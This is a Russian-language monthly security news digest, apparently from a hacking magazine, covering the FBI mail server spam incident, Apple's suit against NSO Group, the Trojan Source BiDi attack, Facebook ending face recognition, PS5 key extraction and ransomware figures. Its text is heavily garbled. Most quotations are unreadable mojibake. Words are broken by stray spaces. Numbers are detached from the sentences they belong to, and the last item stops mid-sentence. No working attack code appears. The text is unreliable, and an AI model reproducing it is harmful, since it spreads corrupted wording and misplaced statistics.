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В этом месяце: неиз вес тные взло мали поч товый сер вер
ФБР, ком пания Apple подала в суд на NSO Group, руководс- 
тво Facebook при няло решение отка зать ся от рас позна вания
лиц, бот нет Emotet зарабо тал сно ва, GoDaddy опять ском- 
про мети рова ли, хакеры пыта ются взло мать PlayStation
5 и еще мно го инте рес ного.

ЛОМАЮТ ДАЖЕ ФБР
В середи не нояб ря поч товый сер вер Федераль ного бюро рас сле дова ний
(ФБР) был взло ман. Неиз вес тные хакеры исполь зовали получен ный дос туп
для рас сылки писем, которые ими тиро вали пре дуп режде ния ФБР о кибера- 
таках и кра же дан ных.

Эк спер ты неком мерчес кой орга низа ции Spamhaus, занима ющей ся отсле- 
жива нием спа ма, сооб щили, что такие пись ма были дос тавле ны десят кам
тысяч адре сатов дву мя вол нами. При этом экспер ты счи тают, что око- 
ло 100 тысяч писем — лишь неболь шая часть кам пании. По дан ным
Spamhaus, сооб щения при ходи ли с легитим ного адре са eims@ic.fbi.gov, с IP
153.31.119.142 (mx-east-ic.fbi.gov), а в теме пись ма зна чилось «Urgent: Threat
actor in systems» («Сроч но: зло умыш ленник в сис темах»).

Из вес тно, что пос ле этой рас сылки на офи сы ФБР обру шил ся шквал
телефон ных звон ков и сооб щений от обес поко енных пред ста вите лей орга- 
низа ций, которые хотели получить допол нитель ную информа цию об ата ках.
Хотя пись ма явно были фей ковыми (нап ример, содер жали мно жес тво
орфогра фичес ких оши бок), рас сылка посе яла нешуточ ную панику, так
как пись ма прош ли про вер ку безопас ности SPF и DKIM, то есть были отправ- 
лены с реаль ных сер веров ФБР и обош ли все спам-филь тры.

Пред ста вите ли ФБР вско ре под твер дили факт взло ма. Агентство заяви ло,
что уже про водит ся рас сле дова ние инци ден та, а ском про мети рован ный сер- 
вер вре мен но отклю чен, что бы оста новить рас сылку спа ма. Судя по все му,
хакеры вос поль зовались некой уяз вимостью в прог рам мном обес печении,
работа ющем на сер вере, для отправ ки сооб щений. При этом ском про мети- 
рован ная машина была изо лиро вана от кор поратив ной поч ты агентства и не
давала дос тупа к каким-либо дан ным или лич ной информа ции в сети ФБР.

Из вес тный ИБ-жур налист Брай ан Кребс пишет, что пор тал LEEP (Law
Enforcement Enterprise Portal) поз волял любому подать заяв ку на получе ние
учет ной записи, но при регис тра ции тре бова лось запол нить кон так тную
информа цию.

«

»

«Âàæ íûì øàãîì â ýòîì ïðî öåñ ñå áûëî òî, ÷òî êàí äèäàòû ïîëó÷à ëè

ïîä òâåðæäå íèå ñ îäíî ðàçî âûì ïàðîëåì ïî ýëåê òðîí íîé ïî÷ òå,

ñ àäðå ñà eims@ic.fbi.gov. È ýòîò êîä, à òàê æå êîí òàê òíûå äàí íûå

çàÿâè òåëÿ óòå êàëè ÷åðåç HTML-êîä ñòðà íèöû», — ïèøåò Êðåáñ.

В ито ге зло умыш ленни ки име ли воз можность с помощью спе циаль ного
скрип та под менить парамет ры, ука зав тему и текст элек трон ного пись ма
по сво ему выбору, и авто мати зиро вать отправ ку сооб щений.

В пос лани ях зло умыш ленни ков сооб щалось, что ответс твен ность за эти ата ки
лежит на неко ем Вин ни Трое (Vinny Troia). Троя — извес тный ИБ-иссле дова- 
тель, который воз глав ляет изу чение дар кне та в ком пани ях Night Lion Security
и Shadowbyte.

Троя сооб щил в Twitter, что, по его мне нию, слу чив шееся — дело рук
челове ка, извес тно го под ником pompompurin. В прош лом этот человек уже
был свя зан с инци ден тами, нап равлен ными на под рыв репута ции иссле дова- 
теля.

«

»

«Â ïîñ ëåäíèé ðàç îíè [pompompurin] âçëî ìàëè íàöè îíàëü íûé öåíòð

ïðî ïàâ øèõ áåç âåñ òè äåòåé è ðàç ìåñòè ëè ïîñò â áëî ãå, ñîîá ùèâ, ÷òî

ÿ ïåäîôèë», — ðàñ ñêà çàë ÑÌÈ Òðîÿ.

Бо лее того, за нес коль ко часов до ата ки на поч товый сер вер ФБР и рас сылки
спа ма pompompurin свя зал ся с иссле дова телем в Twitter и посове товал «нас- 
лаждать ся» тем, что про изой дет в ско ром вре мени.

ИЗРАИЛЬ ЗАПРЕТИЛ ЭКСПОРТ КИБЕРОРУЖИЯ 
В  СТРАН65

Пра витель ство Изра иля огра ничи ло спи сок стран, в которые мес тным ИБ-ком пани ям раз- 
решено про давать инс тру мен ты для шпи она жа и взло ма. Спи сок сок ратил ся поч ти на две тре- 
ти, и теперь экспорт таких решений раз решен лишь в  стран мира.37

В новый перечень вхо дят толь ко демок ратичес кие стра ны, в том чис ле стра ны ЕС и коали ции
Five Eyes. То есть ока зались исклю чены все авто ритар ные режимы, которым изра иль ские ком- 
пании (такие как Candiru и NSO Group) ранее пос тавля ли инс тру мен ты для слеж ки.

Ожи дает ся, что огра ниче ния на экспорт нанесут ощу тимый ущерб изра иль ско му рын ку шпи- 
онско го ПО, который оце нива ется в . Сог ласно све жему отче ту
Атланти чес кого совета НАТО, количес тво ком паний, которые про дают инс тру мен ты для слеж ки
и взло ма, рав няет ся , из них в Изра иле находят ся .

10  мил лиар дов дол ларов
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БЕТА НОВОГО
WINAMP
Нес коль ко лет назад мы  о том, что нынеш ние вла дель цы леген дарно- 
го меди апле ера Winamp готовят ся к его обновле нию и переза пус ку.

пи сали

На пом ню, что Winamp про делал дол гий путь и не раз перехо дил от одной
ком пании к дру гой. Так, ком панию Nullsoft, исходно соз давшую Winamp,
еще в 1999 году при обре ла AOL, которая и под держи вала пле ер на про тяже- 
нии дол гих лет. Затем в 2013 году раз работ ку прог раммы, уже рас теряв шей
немалую долю сво ей популяр ности, решили прек ратить, сайт winamp.com
зак рылся (пос ледней вер сией ста ла 5.666), а пра ва на Winamp в 2014 году
выкупи ла бель гийская ком пания Radionomy, занима ющаяся интернет-ради- 
ове щани ем.

С тех пор никаких новос тей о меди апле ере прак тичес ки не пос тупало.
Лишь осенью 2018 года пред ста вите ли Radionomy сде лали неожи дан ное
заяв ление и сооб щили, что в 2019 году Winamp пре обра зит ся, ста нет луч ше
и вер нется в строй. Раз работ чики заяв ляли, что намере ны сде лать Winamp
уни вер саль ным решени ем для прос лушива ния все го — под кастов, радио,
плей-лис тов и так далее.

«

»

«Âû ñìî æåòå ñëó øàòü MP3, êîòîðûå åñòü ó âàñ äîìà, íî òàê æå ñìî- 

æåòå ïîëü çîâàòü ñÿ îáëà êîì, ïîä êàñòà ìè, ñòðè ìèí ãîâûì ðàäèî

è ïëåé‑ëèñ òàìè. Ëþäÿì íóæåí åäè íûé îïûò, è ÿ ñ÷è òàþ, ÷òî

Winamp — èäå àëü íûé ïëå åð äëÿ âñåõ. Ìû õîòèì, ÷òî áû ëþäè ïîëü- 

çîâàëèñü èì íà âñåõ ñâî èõ óñòðîé ñòâàõ», — ðàñ ñêà çûâàë òîã äà èçäà-

íèþ TechCrunch ãëà âà Radionomy Àëåê ñàíäð Ñàáóí äæàí (Alexandre

Saboundjian).

Кро ме того, в сен тябре 2018 года поль зовате ли обна ружи ли в сети утек шую
бета-вер сию Winamp 5.8, где были исправ лены некото рые баги и появи лась
под дер жка Microsoft Audio. Тог да было не сов сем ясно, отку да взя лась новая
вер сия и кто сто ял за ее раз работ кой. Но вско ре Сабун джан про яснил, что
над Winamp 5.8 работа ла Radionomy и новая вер сия содер жит исправ ления
для раз личных багов, в том чис ле каса ющих ся сов мести мос ти с Windows 10.
Из меди апле ера так же убра ли все плат ные фун кции, внед ренные в Winamp
ранее.

К сожале нию, обе щан ного релиза обновлен ного Winamp в 2019 году поль- 
зовате ли так и не дож дались, вер сия Winamp 5.8 по-преж нему оста ется
самой новой, но, похоже, еще не все потеря но. В нояб ре 2021 года сайт
Winamp.com пре тер пел кар диналь ный редизайн, и на нем был пред став лен
новый логотип меди апле ера.

Кро ме того, теперь на winamp.com мож но зарегис три ровать ся для учас тия
в бета-тес тирова нии нового Winamp, которое обе щают начать сов сем ско ро.

По ка никаких под робнос тей о воз родив шемся меди апле ере нет, но руково- 
дитель отде ла раз работ ки Winamp Дже реми Шеп перс под твер дил изда нию
Bleeping Computer, что обновле ние сай та не чья-то шут ка, и ска зал, что в ком- 
пании очень рады переза пус ку при ложе ния.

70% МОШЕННИЧЕСКИХ ЗВОНКОВ ПОСТУПАЮТ ИЗ-ЗА
РУБЕЖА
В интервью «Извести ям» зам пред прав ления Сбе ра Ста нис лав Куз нецов рас ска зал, что доля
мошен ничес ких звон ков из-за рубежа дос тигла 70%, при этом наиболь шее чис ло под поль ных
кол-цен тров находит ся в укра инском городе Днепр.

→ «Еще два года назад 40% мошен ничес ких звон ков рос сиянам дей стви тель но
осу щест вля лись из мест лишения сво боды на тер ритории РФ, еще 40% — из-за
рубежа и оставши еся 20% — из рос сий ских городов. Сей час доля мошен ничес-
ких звон ков из-за рубежа дос тигла 70%, при этом такие кол-цен тры „работа ют“
исклю читель но по граж данам Рос сии.

Глав ный источник звон ков — тер ритория Укра ины, еще кон крет нее — город
Днепр, быв ший Днеп ропет ровск. Там боль шое количес тво рус ско гово рящей
молоде жи, а воз можнос тей чес тно го заработ ка, оче вид но, не хва тает.
Еще недав но в Днеп ре мог ло дей ство вать до 1000 мошен ничес ких кол-цен- 
тров — толь ко вду май тесь в эту циф ру! Одна ко за пос ледний год их чис ло сок- 
ратилось до 150»

— из интервью Куз нецова

APPLE VS NSO GROUP
Ком пания Apple подала иск про тив изра иль ской фир мы NSO Group, сто ящей
за раз работ кой извес тной шпи онской плат формы Pegasus, спо соб ной ском- 
про мети ровать даже самые безопас ные и сов ремен ные iPhone. Пред ста- 
вите ли Apple заяви ли, что этот инс тру мент неод нократ но исполь зовал ся
для взло ма устрой ств и слеж ки за про тив никами реп рессив ных режимов.

«

»

«Èññëå äîâà òåëè è æóð íàëèñ òû ïóá ëè÷íî çàäîêó ìåí òèðîâà ëè èñòî ðèþ

èñïîëü çîâàíèÿ ýòî ãî øïè îíñêî ãî ÏÎ äëÿ ïðåñ ëåäîâà íèÿ æóð íàëèñ òîâ,

àêòè âèñ òîâ, äèñ ñèäåí òîâ, ó÷å íûõ è ïðà âèòåëü ñòâåí íûõ ÷èíîâ íèêîâ», —

ãëà ñèò îôè öèàëü íûé ïðåññ‑ðåëèç êîì ïàíèè.

В нас тоящее вре мя Apple добива ется судеб ного зап рета про тив NSO Group
и про сит суд зап ретить ком пании исполь зование ее устрой ств и прог рам мно- 
го обес печения. С юри дичес кой точ ки зре ния такой зап рет может помочь
пре дот вра тить раз верты вание Pegasus на новых устрой ствах Apple, а так же
помеша ет сот рудни кам NSO Group обновлять спай варь для новых вер сий
iOS.

Нуж но отме тить, что Apple — уже вто рая круп ная ком пания, которая
подала иск про тив NSO Group. В октябре 2019 года Facebook так же 

 из-за соз дания и исполь зования 0-day-экс пло ита
для WhatsApp.

об- 
ратилась в суд

Уяз вимость в WhatsApp, как утвер жда ет Facebook, была про дана NSO
Group, а затем ком пания помога ла сво им кли ентам экс плу ати ровать эту
проб лему для атак на пра воза щит ников, жур налис тов, полити чес ких дис- 
сиден тов, дип ломатов и пра витель ствен ных чинов ников. Счи тает ся, что
в общей слож ности за один надцать дней от атак пос тра дали
более 1400 человек в Бах рей не, Объ еди нен ных Араб ских Эми ратах и Мек- 
сике.

Бо лее того, тог да Facebook забани ла сот рудни ков NSO Group на сво их
плат формах, так как судеб ный иск пре дус матри вал пос тоян ный судеб ный
зап рет, не поз воля ющий всем сот рудни кам NSO Group получать или пытать ся
получить дос туп к служ бам, плат форме и компь ютер ным сис темам WhatsApp
и Facebook.

В иске Apple тоже ска зано, что NSO Group про дала 0-day-уяз вимость сом- 
нитель ным кли ентам, которые затем исполь зовали баг, что бы взло мать
устрой ства ни в чем не повин ных людей, вклю чая адво катов, жур налис тов,
пра воза щит ников, полити чес ких дис сиден тов, дип ломатов и пра витель ствен- 
ных чинов ников.

В час тнос ти, Apple упо мина ет о проб леме , которую экспер ты
обна ружи ли в этом году. В отче те ком пании Citizen Lab, нашед шей и изу чив- 
шей этот экс пло ит, говори лось, что проб лема нулево го дня, похоже, была
про дана пра витель ству Бах рей на, а затем исполь зовалась для взло ма
устрой ств дис сиден тов, бло геров и оппо зици оне ров.

ForcedEntry

«

»

«Îòâåò÷è êè — èçâåñ òíûå õàêåðû, àìî ðàëü íûå íàåì íèêè XXI âåêà,

êîòîðûå ñîç äàëè ñëîæ íåé øèå ìåõàíèç ìû äëÿ êèáåð íàáëþ äåíèÿ,

äîïóñ êàþùèå êàê ðóòèí íûå, òàê è èç ðÿäà âîí âûõîäÿ ùèå çëî óïîò- 

ðåáëå íèÿ. Îíè ïðî åêòè ðóþò, ðàç ðàáàòû âàþò, ïðî äàþò, äîñ òàâëÿ þò,

ðàç âåðòû âàþò, ýêñ ïëó àòè ðóþò è ïîä äåðæè âàþò àãðåññèâ íûå, ðàç- 

ðóøèòåëü íûå è âðå äîíîñ íûå øïè îíñêèå ïðî äóê òû è óñëó ãè, êîòîðûå

èñïîëü çîâàëèñü äëÿ àòàê è íàíåñå íèÿ âðå äà ïîëü çîâàòå ëÿì Apple,

ïðî äóê òàì Apple è êîì ïàíèè Apple. Ðàäè ñîáñ òâåí íîé êîì ìåð÷åñ êîé

âûãîäû îíè ïîç âîëÿ þò ñâî èì êëè åíòàì çëî óïîò ðåáëÿòü ýòè ìè ïðî äóê- 

òàìè è óñëó ãàìè, àòà êóÿ ÷àñ òíûõ ëèö, âêëþ ÷àÿ ïðà âèòåëü ñòâåí íûõ

÷èíîâ íèêîâ, æóð íàëèñ òîâ, áèç íåñìå íîâ, àêòè âèñ òîâ, ó÷å íûõ è äàæå

ãðàæ äàí ÑØÀ», — çàÿâ ëÿåò Apple.

«Íàåì íûå øïè îíñêèå êîì ïàíèè, òàêèå êàê NSO Group, ñïî ñîáñ òâî- 

âàëè ñàìûì ñåðü åçíûì íàðóøå íèÿì ïðàâ ÷åëîâå êà è ðåï ðåññè ÿì

ïî âñå ìó ìèðó, îäíîâðå ìåí íî îáî ãàùàÿ ñåáÿ è ñâî èõ èíâåñòî ðîâ, —

êîì ìåíòè ðóåò Ðîí Äåé áåðò, ãëà âà Citizen Lab. — ß àïëî äèðóþ Apple

çà òî, ÷òî îíà ïðèâ ëåêà åò èõ ê îòâåòñ òâåí íîñòè çà ýòè çëî óïîò ðåáëå- 

íèÿ, è íàäå þñü, ÷òî òåì ñàìûì Apple ïîìîæåò âîñ ñòà íîâèòü ñïðà âåä- 

ëèâîñòü äëÿ âñåõ, êòî ñòàë æåð òâîé îïðî ìåò ÷èâîãî ïîâåäå íèÿ NSO

Group».

Apple заяви ла, что пожер тву ет 10 мил лионов дол ларов, а так же воз местит
любые судеб ные издер жки орга низа циям, про водя щим иссле дова ния инс- 
тру мен тов для кибер слеж ки. Пос коль ку Citizen Lab изоб личила боль шую часть
шпи онских кам паний с исполь зовани ем Pegasus, Apple пообе щала, что так же
будет ока зывать бес плат ную под дер жку иссле дова тель ской лабора тории,
которая работа ет при Шко ле гло баль ных отно шений и государс твен ной
полити ки име ни Мун ка при Уни вер ситете Торон то.

Ин терес но, что ранее в этом году пра витель ство США наложи ло сан кции
на изра иль скую ком панию, и это эффектив но меша ет NSO Group сот рудни- 
чать с аме рикан ски ми ком пани ями. В ито ге сан кции при нес ли ком пании
боль шие проб лемы, и сей час она находит ся на гра ни зак рытия.

«

»

«Äëÿ ìåíÿ çàÿâ ëåíèå Apple — ýòî ÷èñ òûé îïïîðòó íèçì. Áîëü øå

ïîõîæå íà êàì ïàíèþ, íàï ðàâëåí íóþ íà ïîä äåð æêó õîðîøåé ñòî ðîíû

èññëå äîâà òåëü ñêî ãî ñîîá ùåñ òâà (ïîæåð òâî âàíèÿ â ðàç ìåðå 10 ìèë- 

ëèîíîâ äîë ëàðîâ ÑØÀ ïëþñ ïîê ðûòèå ëþáûõ ñóäåá íûõ èçäåðæåê), —

çàÿâèë èçäà íèþ The Record Ñòå ôàí Ñîýñàí òî (Stefan Soesanto), ñòàð- 

øèé èññëå äîâà òåëü Öåí òðà áåçîïàñ íîñòè Øâåé öàð ñêîé âûñ øåé òåõ- 

íè÷åñ êîé øêî ëû â Öþðèõå. — Meta è WhatsApp ñäå ëàëè âñþ òÿæåëóþ

ðàáîòó â ñâî åì ñóäåá íîì ïðî öåñ ñå ïðî òèâ NSO, ïðà âèòåëü ñòâî ÑØÀ

âíåñ ëî NSO â ÷åð íûé ñïè ñîê â íà÷àëå òåêóùå ãî ìåñÿöà, à òåïåðü

Apple ìîæåò íå ïðèê ëàäûâàòü áîëü øèõ óñè ëèé.

Â öåëîì, ïîëàãàþ, âñå ýòî ñêî ðåå ñâÿ çàíî ñ ïîïûò êàìè Apple ñãëà- 

äèòü è ïåðåíàï ðàâèòü ðàç ãîâîðû î íåäîñ òàòêàõ áåçîïàñ íîñòè è êîí- 

ôèäåí öèàëü íîñ òè [â åå ïðî äóê òàõ] â èíîå ðóñ ëî».

ЕЖЕГОДНАЯ СТАТИСТИКА GITHUB
Ко ман да GitHub опуб ликова ла еже год ный ста тис тичес кий отчет Octoverse, в котором рас кры ла
раз ные аспекты соб ранной за год внут ренней ста тис тики сер виса.

За про шед ший год ауди тория GitHub вырос ла на  поль зовате лей и теперь нас- 
читыва ет  человек.

17  000  000
73 000 000

Рос сий ских раз работ чиков ста ло на  боль ше: поч ти  в этом году про тив
 в 2020 году.

33% 2  000  000
1 500 000

В 2021 году поль зовате ли соз дали  новых репози тори ев (про тив 
в 2020 году) и отпра вили более  pull-зап росов. Общее чис ло репози тори ев
на плат форме сос тавля ет .

61  000  000 60  000  000
170  000  000

254 000 000

Са мым популяр ным язы ком прог рамми рова ния на GitHub по-преж нему оста ется .
Вто рое мес то занима ет , третье мес то — .

JavaScript
Python Java

TROJAN SOURCE
Уче ные из Кем бридж ско го уни вер ситета Росс Андерсон и Николас Баучер
опуб ликова ли информа цию о кон цепте ата ки Trojan Source (CVE-2021-42574),
которую мож но исполь зовать для внед рения вре донос ного кода в легитим- 
ные при ложе ния через поля ком мента риев. PoC-экс пло ит уже дос тупен
на .GitHub

Ата ка осно вана на исполь зовании дву нап равлен ных управля ющих сим- 
волов в ком мента риях к исходно му коду. Такие сим волы, извес тные как BiDi
(от англий ско го bidirectional), пред став ляют собой управля ющие сим волы
Unicode, с помощью которых внут ри тек сто вой стро ки уве дом ляют о перехо де
от режима LTR (сле ва нап раво) к режиму RTL (спра ва налево) и наобо рот.
На прак тике эти сим волы исполь зуют ся исклю читель но для прог рам мных при- 
ложе ний и невиди мы челове ку, пос коль ку при меня ются толь ко для встра ива- 
ния тек ста с дру гим нап равле нием чте ния в боль шие бло ки тек ста (нап ример,
для встав ки строк на араб ском или иври те).

Ис сле дова тели обна ружи ли, что у боль шинс тва ком пилято ров и редак- 
торов кода нет про токо лов для обра бот ки сим волов BiDi или уве дом лений
об их при сутс твии в ком мента риях к исходни кам.

По мне нию спе циалис тов, зло умыш ленни ки могут встав лять управля ющие
сим волы BiDi в ком мента рии, которые люди не смо гут уви деть, а при ком- 
пиляции они будут переме щать текст из поля ком мента рия в исполня емый
код или переме щать код в ком мента рии, тем самым откры вая при ложе ния
для атак и обхо дя про вер ки безопас ности.

Так же сооб щает ся, что, помимо ком пилято ров, проб леме под верже ны
нес коль ко редак торов кода и хос тинго вых сер висов, перечис ленные в таб- 
лице ниже.

Кро ме того, по сло вам экспер тов, ком пилято ры исходно го кода уяз вимы
перед еще одной проб лемой (CVE-2021-42694), свя зан ной с омог лифами.
Во вре мя таких атак клас сичес кие латин ские бук вы заменя ются похожи ми
сим волами из дру гих алфа витов. Иссле дова тели пишут, что вто рую ата ку
мож но исполь зовать для соз дания двух раз ных фун кций, которые будут выг- 
лядеть оди нако во в гла зах челове ка, но на самом деле отли чают ся. Андерсон
и Баучер заяв ляют, что таким спо собом зло умыш ленник может скрыт но
добавить вре донос ный код в про ект.

Ис сле дова тели резюми руют, что ком пилято ры и редак торы дол жны обна- 
ружи вать дву нап равлен ные управля ющие сим волы и омог лифы и обя затель- 
но сооб щать о них людям.

«ЧЕРНАЯ ПЯТНИЦА»: НА  БОЛЬШЕ ФИШИНГА208%

Эк спер ты «Лабора тории Кас пер ско го» сооб щили, что в пред две рии сезона рас про даж и «чер- 
ной пят ницы» рас тет количес тво фишин говых атак в сфе ре онлайн-пла тежей. Общее чис ло
подоб ных угроз по все му миру уве личи лось более чем  с сен тября
по октябрь 2021 года: рост сос тавил .

в  3  раза
208%

В целом в течение пер вых десяти месяцев 2021 года ком пания зафик сирова ла более
 фишин говых атак на онлайн-магази ны и финан совые орга низа ции, ког да мошен- 

ники мас кирова лись под популяр ные круп ные брен ды, стре мясь выманить день ги и дан ные
поль зовате лей.

40 000 000

Продолжение статьи →
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https://github.com/nickboucher/trojan-source
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FACEBOOK ПРОТИВ
РАСПОЗНАВАНИЯ
ЛИЦ
Ком пания Facebook объ яви ла, что боль ше не будет исполь зовать сис тему
рас позна вания лиц (Face Recognition) на сво ей плат форме и уда лит соот ветс- 
тву ющие про фили, соз данные ранее для мил лиар да человек.

Сис тема Face Recognition ана лизи рова ла фотог рафии, сде лан ные отме- 
чен ными поль зовате лями, и фотог рафии про филей свя зан ных с ними поль- 
зовате лей, что бы соз дать уни каль ный шаб лон. Затем этот шаб лон исполь- 
зовал ся для иден тифика ции поль зовате лей на дру гих заг ружен ных фотог- 
рафи ях, а так же авто мати чес ких тегов в Memories.

Те перь, вско ре пос ле сво его реб рендин га в Meta, Facebook объ яви ла, что
отка зыва ется от фун кции рас позна вания лиц и уда лит шаб лоны, соз данные
сис темой.

РЕБРЕНДИНГ
В октябре 2021 года соци аль ная сеть сооб щила о реб рендин ге сво ей материн ской ком пании,
которая отны не будет называть ся Meta. Это наз вание вдох новле но романом Нила Сти вен сона
«Лавина», где Метав селен ной называ ется вир туаль ная реаль ность, охва тыва ющая весь мир.

Сме на наз вания про изош ла на фоне недав ней утеч ки внут ренних докумен тов Facebook,
которые про демонс три рова ли ее мно гочис ленные эти чес кие проб лемы. В час тнос ти, выяс- 
нилось, что ком пания зна ла о пос ледс тви ях, воз ника ющих при исполь зовании ее плат формы,
вклю чая рас простра нение радика лизи рующей дезин форма ции, а так же негатив ные пос ледс- 
твия для пси хичес кого здо ровья под рос тков-поль зовате лей.

Марк Цукер берг заявил, что ком пания готова менять ся и в будущем удво ит уси лия по соз- 
данию иммерсив ного вир туаль ного опы та.

«

»

«Ìíî ãèå êîí êðåò íûå ñëó ÷àè, êîã äà ðàñ ïîçíà âàíèå ëèö ìîæåò áûòü

ïîëåç íûì, íåîá õîäèìî ñîïîñ òàâëÿòü ñ ðàñ òóùèìè îïà ñåíè ÿìè

ïî ïîâîäó èñïîëü çîâàíèÿ ýòîé òåõ íîëîãèè â öåëîì, — ïèøåò Äæå ðîì

Ïåçåí òè, âèöå‑ïðå çèäåíò êîì ïàíèè ïî èñêóññ òâåí íîìó èíòåëëåê òó. —

Ñóùåñ òâó åò ìíî ãî îïà ñåíèé î òîì, êàêîå ìåñ òî äîë æíà çàíèìàòü òåõ- 

íîëîãèÿ ðàñ ïîçíà âàíèÿ ëèö â îáùåñ òâå, è ðåãóëè ðóþùèå îðãà íû âñå

åùå íàõîäÿò ñÿ â ïðî öåñ ñå ðàç ðàáîò êè ÷åò êîãî íàáîðà ïðà âèë, ðåãóëè- 

ðóþùèõ åå èñïîëü çîâàíèå. Â óñëî âèÿõ ïðî äîë æàþùåé ñÿ íåîï ðåäåëåí- 

íîñòè ìû ñ÷è òàåì öåëåñî îáðàçíûì îãðà íè÷å íèå èñïîëü çîâàíèÿ ðàñ- 

ïîçíà âàíèÿ ëèö óçêèì íàáîðîì ñöå íàðè åâ».

Де ло в том, что Facebook уже стал кивалась с юри дичес кими пос ледс тви ями
подоб ных «опа сений». Так, недав но ком пания вып латила 650 мил лионов дол- 
ларов в свя зи с кол лектив ным судеб ным иском в шта те Илли нойс. В иске
утвер жда лось, что соци аль ная сеть собира ла и хра нила биомет ричес кие дан- 
ные поль зовате лей без их сог ласия.

ДЕФИЦИТ ЧИПОВ И НИКАКОГО ВОЛШЕБСТВА
Выс тупая с док ладом на кон ферен ции GTC NVIDIA, глав ный исполни тель ный дирек тор Nvidia
Джен сен Хуанг приз нал, что спра вить ся с гло баль ным дефици том чипов вряд ли получит ся
в бли жай шем будущем.

Ин терес но, что эту точ ку зре ния раз деля ет и гла ва Intel Пэт Гел сингер, который недав но
заявил, что спрос и пред ложение при дут в рав новесие не рань ше 2023 года.

→ «Я полагаю, в сле дующем году спрос зна читель но пре высит пред ложение.
У нас нет никаких вол шебных средств, что бы спра вить ся с [проб лемами] цепоч- 
ки пос тавок. Да, у нас есть под дер жка наших пос тавщи ков. Нам повез ло, что мы
исполь зуем нес коль ко источни ков, наша цепоч ка пос тавок раз нооб разна,
а наша ком пания доволь но велика, поэто му нас под держи вает огромная эко сис- 
тема»

— сооб щил Хуанг

ВЗЛОМ PLAYSTATION
5 СТАЛ БЛИЖЕ
Учас тни ки извес тной хакер ской груп пы Fail0verow подели лись в Twitter фраг- 
ментом кода и сооб щили, что им уда лось доб рать ся до всех кор невых клю чей
PlayStation 5. Судя по все му, на опуб ликован ном скрин шоте показан рас- 
шифро ван ный файл про шив ки PS5, где выделен код, отно сящий ся к безопас- 
ному заг рузчи ку (secure loader). В теории ана лиз рас шифро ван ной про шив ки
поможет Fail0verow (и дру гим хакерам) отре вер сить код и соз дать кас томную
про шив ку с воз можностью заг рузки на PS5 сто рон него ПО.

Ра зуме ется, для извле чения сис темно го ПО PS5 и уста нов ки замены пот- 
ребу ется некий экс пло ит, который обес печит дос туп на чте ние/запись к обыч- 
но зак рытому ядру кон соли. Пока учас тни ки Fail0verow ничего не пишут
о таком экс пло ите, лишь отме чают, что клю чи были «получе ны из прог рам- 
мно го обес печения», то есть для это го не пот ребова лось вме шатель ство
на аппа рат ном уров не.

Так как пока хакеры не рас кры вают никаких под робнос тей сво его взло ма,
в сети уже стро ят теории и активно обсужда ют воз можнос ти, которые откры- 
вают ся пос ле получе ния кор невых клю чей. К при меру, поль зовате ли Reddit
объ ясня ют, что гром кие заголов ки СМИ о «взло ман ной PS5» не сов сем кор- 
рек тны.

«

»

«Ãîâîðÿò, îíè íàø ëè êëþ ÷è äåøèô ðîâàíèÿ. Êîð íåâûå ñèì ìåòðè÷ íûå

êëþ ÷è. [Íî] êëþ ÷è äåøèô ðîâàíèÿ âñåã äà ñèì ìåòðè÷ íû, ïîòîìó ÷òî íåò

ñìûñ ëà èñïîëü çîâàòü ñèñ òåìó ïóá ëè÷íûõ/ïðè âàò íûõ êëþ ÷åé, åñëè

êëþ÷ äåøèô ðîâàíèÿ âñåã äà íàõîäèò ñÿ íà óñòðîé ñòâå (òî åñòü îáùå- 

äîñ òóïåí). Ðàñ øèôðîâ êà ïðîñ òî áóäåò ïðî èñõî äèòü ìåä ëåííåå, åñëè

âû èñïîëü çóåòå PKI [èíôðàñòðóê òóðó îòêðû òûõ êëþ ÷åé] äëÿ øèô- 

ðîâàíèÿ/äåøèô ðîâàíèÿ (ñîê ðûòèÿ).

Êîä, ðàçóìå åòñÿ, òîæå ïîä ïèñàí, è îí áóäåò èñïîëü çîâàòü PKI,

íî ïðè âàò íûé êëþ÷ íå íàõîäèò ñÿ íà óñòðîé ñòâå è íå ìîæåò áûòü âîñ- 

ñòà íîâ ëåí ñ óñòðîé ñòâà. Òàêèì îáðà çîì, äîë æíû ñóùåñ òâî âàòü è „êîð- 

íåâûå àñèì ìåòðè÷ íûå êëþ ÷è“ (÷òî‑òî âðî äå), à èõ îíè íå íàø ëè, òàê

êàê èõ âîîá ùå íåò íà óñòðîé ñòâå.

Ñ ïîìîùüþ ýòî ãî âçëî ìà îíè ñóìå þò ðàñ øèôðî âàòü èãðû è ðàñ- 

øèôðî âàòü äðó ãèå âåùè, çàøèô ðîâàí íûå íà óñòðîé ñòâå (ôàé ëû ñîõ- 

ðàíåíèé è òàê äàëåå). Íî îíè íå ñìî ãóò ïîä ïèñàòü íîâûé êîä.

Äëÿ çàïóñ êà íîâîãî êîäà â ñèñ òåìå ïîò ðåáó åòñÿ åùå îäèí ýêñ ïëî- 

èò», — îáú ÿñíÿ åò íà Reddit ïîëü çîâàòåëü happyscrappy.

Так же сто ит отме тить, что недав но дру гой извес тный хакер, theFlow0, про- 
демонс три ровал в Twitter скрин шот, на котором сре ди обыч ных нас тро ек
PlayStation 5 при сутс тву ет параметр Debug Settings, ранее дос тупный толь ко
на обо рудо вании для раз работ чиков (где GUI выг лядит сов сем ина че).

Тог да изда ние Wololo пояс няло, что скрин шот theFlow0 был сде лан
на обыч ной PS5 и опуб ликован с помощью фун кции PS5Share PS5. Это сви- 
детель ству ет о том, что у хакера есть про изволь ный дос туп на запись, то есть,
ско рее все го, у него есть и экс пло ит для ядра PS5. При этом theFlow0 нед- 
вусмыс ленно дал понять, что не пла ниру ет выпус кать экс пло ит в откры тый
дос туп и рас кры вать какие-либо детали.

САМЫЕ АКТИВНЫЕ ШИФРОВАЛЬЩИКИ
Ком пания Group-IB сос тавила спи сок самых агрессив ных прог рамм-вымога телей, которые
в 2020–2021 годах работа ли на тер ритории Рос сии. Ими ока зались опе рато ры шиф роваль- 
щиков , ,  — каж дый из них совер шил более  на рос сий ский
биз нес. В общей слож ности на них при ходит ся более .

Dharma Crylock Thanos 100 атак
300 атак

В ухо дящем году количес тво атак прог рамм-вымога телей в Рос сии уве личи лось более чем
на .200%

Сум мы выкупа, которые зло умыш ленни ки тре буют от сво их жертв в Рос сии, зависят как от
величи ны биз неса, так и от аппе титов самих ата кующих. Сред няя сум ма вып лачен ного выкупа
сос тавля ет  руб лей, мак сималь ная —  руб лей.3 000 000 40 000 000

Ре корд по мак сималь ной сум ме зап рашива емо го выкупа в 2021 году пос тавила груп пиров ка
